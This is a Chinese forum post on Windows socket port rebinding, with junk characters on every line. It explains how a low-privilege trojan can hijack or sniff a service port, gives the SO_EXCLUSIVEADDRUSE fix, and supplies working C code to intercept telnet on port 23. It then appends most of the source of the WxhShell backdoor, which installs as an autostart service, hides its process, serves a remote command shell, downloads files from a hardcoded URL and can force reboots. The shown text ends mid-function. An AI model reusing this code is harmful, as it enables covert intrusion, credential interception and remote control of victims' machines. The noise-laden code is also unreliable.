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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: )UoF*vC(  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); }iE!( l  
~ZuFMVR  
  saddr.sin_family = AF_INET; fp)%Cr  
[J-uvxD  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); knS(\51A  
ER'zjI>t@  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); {: H&2iF  
h't! 1u  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 4[P]+Z5b+  
j]X $7  
  这意味着什么?意味着可以进行如下的攻击: tEbR/? ,GI  
~TvKMW6/#  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 er44s^$  
cOz/zD f5  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) 7+Z%#G~T  
g)M"Cx.  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 hUo}n>Aa  
>69-[#P!  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  6 *GR_sMm  
Ks>l=5~v|  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 S5(VdMd"^  
iKVJ c=C  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 t~0!K;nn  
yOdh?:Imv  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 KccIYn~  
i .GJO +K  
  #include 1I#]OY#>  
  #include 0g{`Qd  
  #include Fo:60)Lr  
  #include    ;NJx9)7<  
  DWORD WINAPI ClientThread(LPVOID lpParam);   cmu|d  
  int main() p\).zuEf.  
  { `m_ ('N  
  WORD wVersionRequested; z=[?&X]O9b  
  DWORD ret; 1<(('H  
  WSADATA wsaData; gT&s &0_7  
  BOOL val; a^5.gfzA  
  SOCKADDR_IN saddr; p G-9H3[f#  
  SOCKADDR_IN scaddr; /T\'&s3D+  
  int err; .VG5 / 6zp  
  SOCKET s; rQLl[a  
  SOCKET sc; 02RZ>m+  
  int caddsize; CUI\:a-   
  HANDLE mt; f[s|<U^  
  DWORD tid;   n8RE  
  wVersionRequested = MAKEWORD( 2, 2 ); a@ v}j&  
  err = WSAStartup( wVersionRequested, &wsaData ); O>tz;RU  
  if ( err != 0 ) { ,"xr^@W  
  printf("error!WSAStartup failed!\n"); \|f3\4;!  
  return -1; ; VH:dg  
  } CEXD0+\q  
  saddr.sin_family = AF_INET; ar[I| Q_  
   Tfow_t}\  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 BufXnMh.  
;RUod .x  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); EU,f;H  
  saddr.sin_port = htons(23); e{6I-5`|,#  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ygo4.  
  { A}l+BIt  
  printf("error!socket failed!\n"); ui .riD[,O  
  return -1; Q| _e=  
  } A1p87o>  
  val = TRUE; $9@jV<Q1  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 ]; Z[V  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) <oKoz0!  
  { 8ZN"-]*  
  printf("error!setsockopt failed!\n"); oQL$X3S  
  return -1; s.IYPH|pn  
  } G4jyi&]  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; ( C~ u.  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 kes GwMr"e  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 {4^NZTjd@  
, #nYHD  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) F~Sw-b kSf  
  { # KgDOCQH  
  ret=GetLastError(); 3IyNnm=u  
  printf("error!bind failed!\n"); 0Bn35.K  
  return -1; 0=erf62=  
  } aUYq~E tj  
  listen(s,2); ,>Yl(=&  
  while(1) 4^3lG1^YY  
  { \ 3XG8J  
  caddsize = sizeof(scaddr); )C&'5z  
  //接受连接请求 O-,0c1ts  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); !eP)"YWI3  
  if(sc!=INVALID_SOCKET) {Lg]chJq?  
  { ;%a  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); 8:gUo8  
  if(mt==NULL) =pnMV"'9  
  { kdW$>Jqb  
  printf("Thread Creat Failed!\n"); B }t529Z  
  break; - U Elu4n&  
  } ejh0Wfl  
  } z~($ "  
  CloseHandle(mt); g/(3D  
  } q445$ndCT  
  closesocket(s); Z!foD^&R  
  WSACleanup(); #gcv])to  
  return 0; Q`)iy/1M  
  }   iY;>LJmp  
  DWORD WINAPI ClientThread(LPVOID lpParam) r>_40+|&  
  { !e?2 x@J  
  SOCKET ss = (SOCKET)lpParam; ]y\Wc0 q  
  SOCKET sc; _L% =Q ulu  
  unsigned char buf[4096]; YwU[kr-i  
  SOCKADDR_IN saddr; *o}7&Hw#9f  
  long num; (,I9|  
  DWORD val; p?V@P6h  
  DWORD ret; 5MHc gzyp  
  //如果是隐藏端口应用的话,可以在此处加一些判断 #D ]P3  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   G/N1[)  
  saddr.sin_family = AF_INET; E2i'lO\P  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); :>K8oE  
  saddr.sin_port = htons(23); Y_= ]w1  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) *b,4qMr  
  { k{C03=xk  
  printf("error!socket failed!\n"); zFm:=,9  
  return -1; *&doI%q  
  } rr^?9M*{V  
  val = 100; _~.S~;o!b  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ]Ei*I}  
  { <^(>o  
  ret = GetLastError(); T8NDS7&?  
  return -1; V{C{y5  
  } g@|2z  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) t|?eNKVV9'  
  { V: n\skM  
  ret = GetLastError(); r) g:-[Ox9  
  return -1; FSD~Q&9&  
  } ((AIrE>Rr  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) BF/l#)$yK  
  { `q m$2  
  printf("error!socket connect failed!\n"); +5"Pm]oRbx  
  closesocket(sc); }!QVcu"+t/  
  closesocket(ss); cq"#[y$r  
  return -1; ~s2la~gu  
  } BFswqp:  
  while(1) a\B'Qe+  
  { 8 -YC#&  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 !rTkH4!_  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 ZtGtJV"H  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 Vb,'VN%   
  num = recv(ss,buf,4096,0); x(7Q5Uk\  
  if(num>0) XsGc!  o  
  send(sc,buf,num,0); C;I:?4  
  else if(num==0) ,FL*Z9wA  
  break; 3YD.Fjz$  
  num = recv(sc,buf,4096,0); y`\rb<AZ*t  
  if(num>0) gTb%c84  
  send(ss,buf,num,0); "0aJE1) p:  
  else if(num==0) jidRh}>a=  
  break; ![&9\aH  
  } ^l{q{O7U$  
  closesocket(ss); F$@(0c  
  closesocket(sc); |+Cd2[hN  
  return 0 ; )1gOO{T]h?  
  } 0y`r.)G  
\49s;\I]  
"sYZ3  
========================================================== x7!gmbMfK'  
Ejj+%)n.  
下边附上一个代码,,WXhSHELL 6,~]2H'zq  
y' RQ_Gi  
========================================================== LnPG+<  
q0{_w  
#include "stdafx.h" #|/ +znJm  
}=p+X:k=  
#include <stdio.h> GL,( N|  
#include <string.h> l#TE$d^ym  
#include <windows.h> "t%Jj89a\  
#include <winsock2.h> F^CR$L& K  
#include <winsvc.h> t!\B6!Fo  
#include <urlmon.h> wwE3N[  
?N=`}}Ky-  
#pragma comment (lib, "Ws2_32.lib") :6J&%n  
#pragma comment (lib, "urlmon.lib") R(f6uO!m  
@?*; -]#)  
#define MAX_USER   100 // 最大客户端连接数 RMHJI6?LB  
#define BUF_SOCK   200 // sock buffer e2kW,JV/<$  
#define KEY_BUFF   255 // 输入 buffer }H:wgy`  
ej,R:}C%`  
#define REBOOT     0   // 重启 Y)2#\ F   
#define SHUTDOWN   1   // 关机 yof8LWXx  
{uurLEe?  
#define DEF_PORT   5000 // 监听端口 =wlPm5  
"KgNMNep  
#define REG_LEN     16   // 注册表键长度 ;KgDVq5  
#define SVC_LEN     80   // NT服务名长度 G7%f| Y  
~\+Bb8+hpJ  
// 从dll定义API %D3Asw/5a  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); Nx"|10gC  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); M9Xq0BBu  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); + />f?+  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); \. a7F4h  
$f=6>Kn|^]  
// wxhshell配置信息 ~l}\K10L*  
struct WSCFG { 5 zz">-Q !  
  int ws_port;         // 监听端口 >qZl s'  
  char ws_passstr[REG_LEN]; // 口令 3)y=}jw  
  int ws_autoins;       // 安装标记, 1=yes 0=no 06z+xxCo  
  char ws_regname[REG_LEN]; // 注册表键名 a SMoee@!  
  char ws_svcname[REG_LEN]; // 服务名 4UHviuOo8  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 B.:1fT7lI  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 1#9PE(!2  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 S$ k=70H  
int ws_downexe;       // 下载执行标记, 1=yes 0=no <m~{60{  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" zKT4j1 h  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 u82(`+B  
J,J6bfR/  
}; gYBMi)`RT  
v.hQ 9#:  
// default Wxhshell configuration $LVzhQlD  
struct WSCFG wscfg={DEF_PORT, [eFJ+|U9  
    "xuhuanlingzhe",  uU=!e&3  
    1, Ygc|9}  
    "Wxhshell", Tj+U:#!!~  
    "Wxhshell", S]NT+XM  
            "WxhShell Service", =#vJqA  
    "Wrsky Windows CmdShell Service", R6TT1Ka3c  
    "Please Input Your Password: ", Eihy|p  
  1, \VWgF)_  
  "http://www.wrsky.com/wxhshell.exe", \/b[V3<"  
  "Wxhshell.exe" F"1tPWn  
    }; N 1ydL  
gq@8Z AWn  
// 消息定义模块 *5{1.7  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ~n! & ~  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 11c\C Iu  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; >!Xj%RW  
char *msg_ws_ext="\n\rExit."; _-rC]iQJ55  
char *msg_ws_end="\n\rQuit."; DF UTQ:N  
char *msg_ws_boot="\n\rReboot..."; ;y-:)7J  
char *msg_ws_poff="\n\rShutdown..."; jib pZ)  
char *msg_ws_down="\n\rSave to "; &xZSM,  
)+ 'r-AF*  
char *msg_ws_err="\n\rErr!"; 7 IJn9b  
char *msg_ws_ok="\n\rOK!"; +d7 Arg!m  
aKE`nA0\B  
char ExeFile[MAX_PATH]; Z}{]/=h  
int nUser = 0; R x(yn  
HANDLE handles[MAX_USER]; hy>0'$mU  
int OsIsNt; gAVD-]`  
!c dY`f6x  
SERVICE_STATUS       serviceStatus; K-@\";whF  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; "$D'gS oYe  
'Lw8l `7  
// 函数声明 mn\A)R Q  
int Install(void); OMM5ALc(F  
int Uninstall(void); 5=I"bnIU  
int DownloadFile(char *sURL, SOCKET wsh); 62MQ+H  
int Boot(int flag); 0 /9 C=v  
void HideProc(void); \hn$-'=4  
int GetOsVer(void); 78r0K 5=  
int Wxhshell(SOCKET wsl); Xvoz4'Gme  
void TalkWithClient(void *cs); 1Wiz0X/  
int CmdShell(SOCKET sock); wS+!>Q_]w  
int StartFromService(void); b- bvkPN  
int StartWxhshell(LPSTR lpCmdLine); j dz IU  
X8ZO } X  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ' sNiJ>  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ~ch%mI~  
,fqM>Q  
// 数据结构和表定义 L62%s[  
SERVICE_TABLE_ENTRY DispatchTable[] = O;i0xWUh  
{ <EcxNj1  
{wscfg.ws_svcname, NTServiceMain}, 8vtembna4  
{NULL, NULL} Ji:<eRx)  
}; .<Jv=  
y?P`vHf  
// 自我安装 I>##iiKN  
int Install(void) 7 \[fjCg\w  
{ 3o0ZS^#eB  
  char svExeFile[MAX_PATH]; xRdx` YYu  
  HKEY key; MT:VQ>f C  
  strcpy(svExeFile,ExeFile);  UO#`Ak  
QleVW  
// 如果是win9x系统,修改注册表设为自启动 ,I ][  
if(!OsIsNt) { W/b)OlG"2  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { La3rX  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); k{=dV  
  RegCloseKey(key); 3~V .  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Lis>Qr  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 13w(Tf  
  RegCloseKey(key); GNEPb?+T  
  return 0; # 5U1F[  
    } 0 q1x+  
  } 0 x' d^  
} d0C _:_  
else { 6GPI gPL,  
wW/q#kc  
// 如果是NT以上系统,安装为系统服务 Y/"t!   
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); O|)b$H_  
if (schSCManager!=0) z1 MT@G)S$  
{ "^!y>]j#A  
  SC_HANDLE schService = CreateService {qbe ye!  
  ( :>r W`= e'  
  schSCManager, yTh%[k  
  wscfg.ws_svcname, (x?Tjyzw  
  wscfg.ws_svcdisp, "a}fwg9Y  
  SERVICE_ALL_ACCESS, z6rT<~xZtu  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , PHEQG]H S  
  SERVICE_AUTO_START, u"m(a:jQ  
  SERVICE_ERROR_NORMAL, ^Il*`&+?P  
  svExeFile, rf%VSxD9  
  NULL, p\F%Nj,  
  NULL, -ucgET`  
  NULL, 8D,*_p  
  NULL, s;=C&N5g  
  NULL -u4")V>  
  ); 2%6 >)|  
  if (schService!=0) {7c'%e  
  { F?05+  
  CloseServiceHandle(schService); #p55/54ZI  
  CloseServiceHandle(schSCManager); iU37LODa2T  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); yjMN>L'  
  strcat(svExeFile,wscfg.ws_svcname); deVnAu =  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { kd\Hj~*  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); l'aCpzf  
  RegCloseKey(key); ;^0rY)&  
  return 0; 4#7*B yvf  
    } 5%e+@X;j  
  } "}`)s_rt  
  CloseServiceHandle(schSCManager); S4[ #[w`=  
} EwU)(UK  
} k.K#i /t  
;b~\ [  
return 1; (_<,Oj#*S  
} '6WS<@%}  
.-/IV^lGv  
// 自我卸载 .|5$yGEF_+  
int Uninstall(void) **kix  
{ Z b$]9(RS  
  HKEY key; 2 \}J*0  
6]d]0TW_  
if(!OsIsNt) { qP<D9k>  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { _oCNrjt9  
  RegDeleteValue(key,wscfg.ws_regname); {\%I;2X  
  RegCloseKey(key); XD|g G  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { x: _[R{B  
  RegDeleteValue(key,wscfg.ws_regname); |*UB/8C^/!  
  RegCloseKey(key); u4w!SD  
  return 0; z\A ),;  
  } S#v3%)R  
} YzQ1c~+  
} |\?u-O3  
else { b=_k)h+l  
eh `%E0b}  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); %K-8DL8|(  
if (schSCManager!=0) '&B4Ccn<V  
{ F]UH\1  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); :S_]!'H  
  if (schService!=0) &JqaIJh   
  { O>1Cx4s5  
  if(DeleteService(schService)!=0) { J-,ocO  
  CloseServiceHandle(schService); 3^~J;U!3  
  CloseServiceHandle(schSCManager); / + %  
  return 0; nHk^trGm  
  } :op_J!;  
  CloseServiceHandle(schService); ],S {?!'1  
  } ByJPSuc D  
  CloseServiceHandle(schSCManager); \|HNFxT`  
} ^N|8 B?Vg  
} v[^8_y}A`  
=3w;<1 ?'  
return 1; 9 %4:eTcp  
}  ;tZQ9#S  
^PezV5(  
// 从指定url下载文件 4fC:8\A  
int DownloadFile(char *sURL, SOCKET wsh) @r/~Y]0Ye5  
{ qJrKt=CE  
  HRESULT hr; $=N?[h&4  
char seps[]= "/"; ceJi|`F  
char *token; #o4tG  
char *file; )3:0TFS}}k  
char myURL[MAX_PATH]; >>$`]]7  
char myFILE[MAX_PATH]; &k%>u[Bo  
/G'3!S  
strcpy(myURL,sURL); A8*zB=C  
  token=strtok(myURL,seps); U].]K   
  while(token!=NULL) ">z3i`#C'  
  { tMX$8W0 c  
    file=token; 62qjU<Z  
  token=strtok(NULL,seps); )j>U4a  
  } ^zQI_ydG  
60u_,@rV  
GetCurrentDirectory(MAX_PATH,myFILE); 2*V[kmD/3  
strcat(myFILE, "\\"); ~r5S{&  
strcat(myFILE, file); !h7.xl OpN  
  send(wsh,myFILE,strlen(myFILE),0); 5HV+7zU5  
send(wsh,"...",3,0); ,_RNZ sa;&  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); %csrNf  
  if(hr==S_OK) -"dt3$ju  
return 0; e@ZM&iR  
else m\0_1 #(  
return 1; /~{`!30  
+)"Rv%.  
} U\tx{CsSz  
l9&k!kF`  
// 系统电源模块 znwKwc8,  
int Boot(int flag) c Pf_B=  
{ Bso#+v5  
  HANDLE hToken; A,cXN1V  
  TOKEN_PRIVILEGES tkp; qGV_oa74  
V>`ANZ4  
  if(OsIsNt) { Fds 11 /c7  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); =oq8SL?bJ*  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); `IUn{I  
    tkp.PrivilegeCount = 1; UE.kR+1  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; KaNs>[a8  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 4>>=TJ!M  
if(flag==REBOOT) { bPU i44P  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) r_#dh  
  return 0; zR^Gy"  
} gYc]z5`  
else { Oti*"dV\::  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) wc4BSJa,19  
  return 0; ]2wxqglh)  
} #Or;"}P>fB  
  } o6k#neB>=.  
  else { V^5d5Ao  
if(flag==REBOOT) { Km8aHc]O~  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) D![v{0er  
  return 0; :]m.&r S,  
} + '_t)k^  
else { LnI  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) p2i?)+z  
  return 0; +SH{`7r  
} d}h{#va*  
} w>&*-}XX  
w31Ox1>s  
return 1; QkdcW>:a7  
} hu.o$sV3;  
:lcq3iFn  
// win9x进程隐藏模块 ^!&6 =rb  
void HideProc(void) d}[cX9U/  
{ v\Uk?V5T  
4 V')FGB$  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); Dp ](?Yr  
  if ( hKernel != NULL ) j ) 6  
  { V}#X'~Ob  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); l[38cF  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ,|({[ 9jA  
    FreeLibrary(hKernel); ){5Nod{}a  
  } @owneSD qN  
:hX[8u  
return; qq| 5[I.?  
} "tzu.V-  
9Rnypzds  
// 获取操作系统版本 N7+L@CC6T  
int GetOsVer(void) 6QX m] <  
{ `OBzOM  
  OSVERSIONINFO winfo; kt/,& oKI  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); s{Z)<n03  
  GetVersionEx(&winfo); MY^{[ #Q  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) F~mIV;BP  
  return 1; {arqcILr  
  else D0r viO  
  return 0; 147QB+cE  
} R-13DVK  
f<Hi=Qpm  
// 客户端句柄模块 li r=0oq<  
int Wxhshell(SOCKET wsl) T }}2J/sj  
{ 6}"c4 ^k6  
  SOCKET wsh; t;e&[eg  
  struct sockaddr_in client; M6)  G_-  
  DWORD myID; lM6pYYEq=  
Gmz^vpQ]t  
  while(nUser<MAX_USER) 0@ Y#P|QF  
{ #X}HF$t{=  
  int nSize=sizeof(client); sS>b}u+v#!  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); %c }V/v_h  
  if(wsh==INVALID_SOCKET) return 1; pjWRd_h.  
Yq+ 1kA  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); +WH\,E  
if(handles[nUser]==0) &]nx^C8V;  
  closesocket(wsh); %;,fI'M  
else ci~#G[_$S  
  nUser++; ^`&'u_B!+  
  } Z7;V}[wie  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); _QPqF{iI  
)>iOj50n3  
  return 0; FZr/trP~  
} 9zu;OK%  
)/T[Cnx.Nc  
// 关闭 socket pH1!6X  
void CloseIt(SOCKET wsh) D0D=;k   
{ BzzC|  
closesocket(wsh); UlYFloZ  
nUser--; @r TB&>`  
ExitThread(0); b(Nv`'O  
} mlnF,+s  
UerbNz|  
// 客户端请求句柄 `^bP9X_a  
void TalkWithClient(void *cs) cm< #zu3~S  
{ [n2B6Px  
#S}orWj  
  SOCKET wsh=(SOCKET)cs; VI0wul~M  
  char pwd[SVC_LEN]; v ,8;: sD  
  char cmd[KEY_BUFF]; <RGH+4LF  
char chr[1]; sTM;l,  
int i,j; T6U/}&{O  
zJe KB8  
  while (nUser < MAX_USER) { oP&/>GmXL  
z5E%*]  
if(wscfg.ws_passstr) { Nd~B$venh  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); s2; ~FK#/  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); uoS:-v}/Y~  
  //ZeroMemory(pwd,KEY_BUFF); G{U#9   
      i=0; IiU> VLa  
  while(i<SVC_LEN) { XB)D".\  
$|N6I  
  // 设置超时 {213/@,  
  fd_set FdRead; ujU,O%.n  
  struct timeval TimeOut; Fc~G*Gz~Z|  
  FD_ZERO(&FdRead); nf.Ox.kM)  
  FD_SET(wsh,&FdRead); -@pjEI  
  TimeOut.tv_sec=8; VW-qQe  
  TimeOut.tv_usec=0; B~p%pT S+  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); D)d]o&  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); sg2;"E@  
i}-uK,^  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); AI|vL4*Xd  
  pwd=chr[0]; 6_CP?X+T  
  if(chr[0]==0xd || chr[0]==0xa) { Npp YUY  
  pwd=0; ov6xa*'a  
  break; sy: xA w  
  } 4Yj1Etq.E  
  i++; .ZTvOm'mB^  
    } Ez3fL&*  
{w@qFE'b  
  // 如果是非法用户,关闭 socket  :Sq] |)  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); gjS|3ED  
} '!HTE` Aj  
po| Ux`u  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); D|- ]<r1"  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); L5&M@YTH  
1- 2hh)  
while(1) { n(: <pz  
L)e" qC_-  
  ZeroMemory(cmd,KEY_BUFF); HQqFrR  
U0x A~5B  
      // 自动支持客户端 telnet标准   YvR bM  
  j=0; pgU [di  
  while(j<KEY_BUFF) { V;M_Y$`Lh  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); BEdCA]T  
  cmd[j]=chr[0]; O'<V[Y} 6  
  if(chr[0]==0xa || chr[0]==0xd) { >B BV/C'9  
  cmd[j]=0; kK6O ZhLH  
  break; E/;t6& 6  
  } ;tOs A #  
  j++; ^_2c\mw_I  
    } CMt<oT6.?  
$O"ss>8Se  
  // 下载文件 /9`4f"  
  if(strstr(cmd,"http://")) { u47<J?!Q  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); x~5uc$  
  if(DownloadFile(cmd,wsh)) R~vGaxZ$  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); d$t"Vp  
  else Q:}]-lJg  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); MpV<E0CmE  
  } e4z`:%vy  
  else { Q6h+.  
PL/g| ;  
    switch(cmd[0]) { bi<<z-q`wJ  
  M\ATT%b:  
  // 帮助 k<gH*=uXY'  
  case '?': { J'44j;5&  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 56v G R(  
    break; OVg&?fiP  
  } -f+#j=FX  
  // 安装 JcAsrtrG]  
  case 'i': { \J'}CX*aQ  
    if(Install()) ,f }$FZ  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ?nU<cxh  
    else n]%- 2`}(  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); |[\;.gT K  
    break; { bj!]j  
    } ,AP&N'  
  // 卸载 qZ1'uln=C-  
  case 'r': { )6"}M;v  
    if(Uninstall()) K-RmB4WI  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Et=Pr+Q{c  
    else JZ5k3#@e  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); N} EKV  
    break; 0TU3 _;o  
    } 57\ 0MQO  
  // 显示 wxhshell 所在路径 c=! >m  
  case 'p': { 9&+]YY CS-  
    char svExeFile[MAX_PATH]; K<S3gb?0  
    strcpy(svExeFile,"\n\r"); n`Q@<op  
      strcat(svExeFile,ExeFile); K;F1'5+=D  
        send(wsh,svExeFile,strlen(svExeFile),0); \Kl20?  
    break; S?~0)EXj(  
    } gx&es\  
  // 重启 y|`-)fY  
  case 'b': { JEjxY&  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); \!u<)kkyT  
    if(Boot(REBOOT)) Lqgrt]L_"  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); -TUJ"ep]QJ  
    else { 6VW *8~~Xy  
    closesocket(wsh); ZW4f "  
    ExitThread(0); e~)[I!n  
    } 3>O|i2U  
    break; %:3XYO.w-  
    } f{BF%;  
  // 关机 ImXYI7PL  
  case 'd': { \&"C  
